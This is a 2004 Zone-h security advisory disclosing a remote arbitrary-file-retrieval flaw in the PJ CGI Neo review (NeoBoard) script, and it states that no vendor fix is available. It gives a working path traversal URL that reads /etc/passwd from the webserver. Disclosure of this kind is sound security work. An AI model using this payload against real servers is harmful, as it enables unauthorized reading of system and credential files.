ZH2004-02SA (security advisory): PJ CGI Neo review (NeoBoard review) Remote arbitrary file retrieving

ZH2004-02SA (security advisory): PJ CGI Neo review (NeoBoard review) Remote arbitrary file
retrieving

Published: 29 january 2004

Released: 29 january 2004

Name: PJ CGI Neo review (NeoBoard review)

Affected Systems: Current version

Issue: Remote file retrieving

Author: Zone-h Security Labs

Vendor: http://www.livepj.com

Description

---

Zone-h Security Team has discovered a flaw in PJ CGI Neo review (NeoBoard review). There is
a vulnerability in the current version of NeoBoard that allows an attacker to retrieve
arbitrary files from the webserver with its priviledges.

Details

---

It's possibile for a remote attacker to retrieve any file from a webserver.

For example try this:

http://address/directory/PJreview_Neo.cgi?p=/../../../../../../../../../../../../../../../../etc/passwd

Solution:

---

The vendor has not been contacted because his site is unreachable.

http://www.zone-h.org/advisories/read/id=3824